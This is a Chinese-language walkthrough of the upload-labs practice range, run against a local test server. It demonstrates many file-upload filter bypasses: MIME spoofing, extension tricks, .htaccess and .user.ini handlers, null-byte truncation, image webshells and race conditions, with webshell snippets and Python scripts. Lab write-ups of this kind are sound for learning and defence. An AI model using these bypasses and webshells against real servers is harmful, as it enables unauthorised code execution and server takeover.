文件上传漏洞是指用户上传了一个可以执行的脚本文件,并且可以通过该文件获得服务器的权限的一种漏洞,大部分网站都有上传的功能,比如说上传pdf,上传png、php、exe等文件,一些文件会被网站所过滤,但是大部分web的过滤不够严格,导致在上传的位置上,用户可以上传一些带有脚本的文件,web端对脚本文件进行php解析,可以任意执行脚本文件。
上传一句话木马:a.php,内容为:,点击上传显示文件类型不符,该题应用了js验证,禁用网页js可以绕过,也可burpsuite抓包后更改文件后缀,这题我分别都试一下。
禁用JS方法
:F12键点击调试器,右上角设置键,禁用JavaScript:
禁用后可以成功上传文件a.php,F12键,点击网络,F5刷新一下,点击上传的a.php,可以查看到文件上传的目录,查到目录才能用蚁剑连接上:
蚁剑连接这个目录,密码是a,即一句话木马中的 ‘a’就是密码,连接成功:
抓包方法
:将刚才的a.php后缀改成符号上传条件的jpg,上传时burpsuite抓下包,抓到的内容如下:
更改Content-Disposition:后面的文件后缀,将jpg又改回php,之后点击左上角的Forward,回到浏览器,发现文件也上传成功,之后的蚁剑连接步骤相同不再赘述。
尝试上传a.php,提示:文件类型不正确,请重新上传!
此题做了文件类型检查,检查Content-Type标头是否与MIME 类型匹配,
MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL。
只需要burpsuite抓包更改Content-Type:为image/png就可以绕过检查:
如图,尝试上传a.php时提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! 这是黑名单检查类型的,显然黑名单包含的文件类型存在漏洞,php5、php3这些都可以绕过,比如我改文件后缀为php3试一次,发现成功上传,虽然重命名了文件名,但是可以查看,所以不影响蚁剑连接:
该题的黑名单过滤相当严格,无法通过简单的修改后缀名来进行绕过,在这里学习一个配置文件,叫做.htaccess分布式配置文件,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
使用时,先将它进行文件上传,再上传webshell文件,webshell文件需要修改后缀为可以上传的文件类型,如a.jpg,我理解的它的作用就是:将目录中指定的文件以指定的文件类型执行。文件名就是 .htaccess,内容为:
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
如此,就成功上传并执行了,可以用蚁剑查看:
上一关使用的.htaccess被黑名单了,但是发现.ini不在黑名单了,而且提示存在可执行文件readme.php:
所以考虑使用.user.ini,可以利用 .user.ini 文件使得运行 readme.php 时包含上传的图片。
.user.ini中有两个配置,是auto_prepend_file和auto_append_file。这两个配置的意思是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如readme.php),相当于在readme.php中插入一句:require(./a.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
.user.ini
auto_prepend_file=a.jpg //所有的php文件都自动包含a.jpg文件。
a.jpg
@eval($_POST['a']) ;
?>
由于user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。在依次上传文件后需要等待5分钟,即可用蚁剑连接上去,连接的目录就是:
http://127.0.0.1/upload/upload/readme.php
本题同时过滤了.htaccess和.user.ini,但是没有使用strtolower()函数,可以使用大小写绕过黑名单。把.php 格式改为 .Php 上传上去之后,就会自动解析为.php:
本关没有使用去除空格的函数,可以使用空格绕过:
上传文件时用burpsuite抓包,在文件后缀后面加空格,之后放包:
记下文件上传的路径,蚁剑就可以直接连接:
本关没有使用去除点号.的函数,可以使用点号绕过,依旧是使用burpsuite抓包然后添加点号放包:
本关没有使用去除字符串的str_ireplace函数,可以使用::DATA来进行绕过:在window的时候如果文件名+"::$DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::DATA之前的文件名,他的目的就是不检查后缀名。
例如:“phpinfo.php::$DATA"Windows会自动去掉末尾的字符串变成"phpinfo.php”
同样是使用burpsuite转包改名后放包,得到文件上传路径:
本关卡使用了 deldot() 删除文件名末尾的点。
deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
可以构造文件名: webshell.php.(空格). 绕过检测:
放包:
本关卡使用str_ireplace()函数将黑名单的字符串替换为空:
$file_name = str_ireplace($deny_ext,"", $file_name);
函数语法:
该题的漏洞在于替换只替换了一次,可以双写php,替换一次之后还剩下php后缀,从而绕过过滤:
上传a.phphpp:
本题是白名单,了解一波00截断:
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
%00适用于php<5.3.42,且服务器中的php.ini中的magic_quotes_gpc = Off,才可以进行%00截断。
在做本题之前我将mysql版本切换了:
将magic_quotes_gpc设置为off:
阅读源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
我们看到传了save_path,表示路径可控,上传a.php,bp抓包之后%00截断之后的内容:save_path=…/upload/a.php%00
修改后点击go,在这里获取到文件上传路径,注意路径为:
http://127.0.0.1/upload/upload/a.php,后面jpg那段不要。
同样的00截断,与Pass-12相比,只是请求方式变成了POST。
POST方式无法自动解码,所以我们需要在hex中找到相对应的位置将数字修改为00。
在此处添加a.php+,加号的作用是方便在一众HEX码中找到该位置进行替换00。+的hex值是2b,要把他替换为00
路径为:http://127.0.0.1/upload/upload/a.php
事先学习下各种图片的标志:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
这关会检查上传的文件头两位,判断文件类型。
制作图片马,打开cmd命令提示符,使用
copy b.jpg/b + b.php 14.jpg
制作jpg图片马,同样的方法,改一下后缀就可以做出14.png、14.gif图片马。
我使用的图片马内容是
这个是直接可以点的链接,点击进去,在pyload后加上?file=(你刚刚得到的路径)
看到我们的phpinfo跑起来了说明图片马成功解析了。
另外两个图片马的上传也是同样的。
同样白名单检查文件头是否是图片类型。还是可以用第14关的图片马来上传。
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。
所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马。
提示我们本题进行了重渲染,这样的题的做法是找出不被重新渲染的部分插入一句话。
我引用了网上老师傅做好的gif图片:https://wwe.lanzoui.com/iFSwwn53jaf
还是一样的上传之后抓包,发包,找到目标路径,然后文件包含漏洞:
认识一个概念:条件竞争:条件竞争漏洞是一种服务器端的漏洞,由于服务器在处理不同请求时时并发进行的,因此处理不当会或者相关操作顺序设计的不合理时,将导致漏洞产生。
提示代码审计:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可。
上传一个文件pass.php:
fputs(fopen('1.php','w'),'');?>
上传时用bp抓包然后发送到intruder模块跑。把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,就会在文件未被服务器删除时访问到。
bp设置如下:
清除clear$
import requests
url = "http://127.0.0.1/upload/upload/pass18.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
目的就是不停地访问1.php知道成功访问到为止。当出现OK说明访问到了该文件,那么1.php应该也创建成功了,用蚁剑连接:
成功创建并连接。
这题有小bug,需要改一下靶场文件:
将myupload.php文件中的:
$this->cls_upload_dir = $dir;
改为
$this->cls_upload_dir = $dir.'/';
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
php无法上传,只能上传图片马之后使用文件包含漏洞使他解析。还是将这个一句话做成图片马:
fputs(fopen('1.php','w'),'');?>
跟第八关一样的bp设置方法,多个线程无限发送空payloads,同时用python脚本进行文件包含。脚本如下:
import requests
url = "http://127.0.0.1/upload/include.php?file=upload/pass19.jpg"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
只要出现“ok”,说明我的1.php已经被成功包含了,可以使用蚁剑连接,连接的payload为:http://127.0.0.1/upload/1.php
尝试上传一句话木马a.php,能够上传成功,但是将文件重命名为upload-19.jpg,导致木马无法生效。
阅读源码发现save_name可控,可以bp抓包,更改后缀名。
直接改php结果被拦截。搜索move_uploaded_file()函数如何绕过:
/.绕过
:
当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
bp抓包将它重命名后的文件后缀改为php/.
修改完Forward放包,文件就成功上传,蚁剑连接这个payload:
审计源码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
可以发现file_name经过reset($file) . '.' . $file[count($file) - 1]
处理。
如果上传的是数组的话,会跳过 $file = explode('.', strtolower($file));
并且后缀有白名单过滤。
而最终的文件名后缀取的是$file[count($file) - 1]
,因此我们可以让file为 数组,file[0]为phpinfo.php/,然后再令file[2]为白名单中的jpg。
上传一句话木马a.php,同时bp抓包,在bp中作修改,修改如下: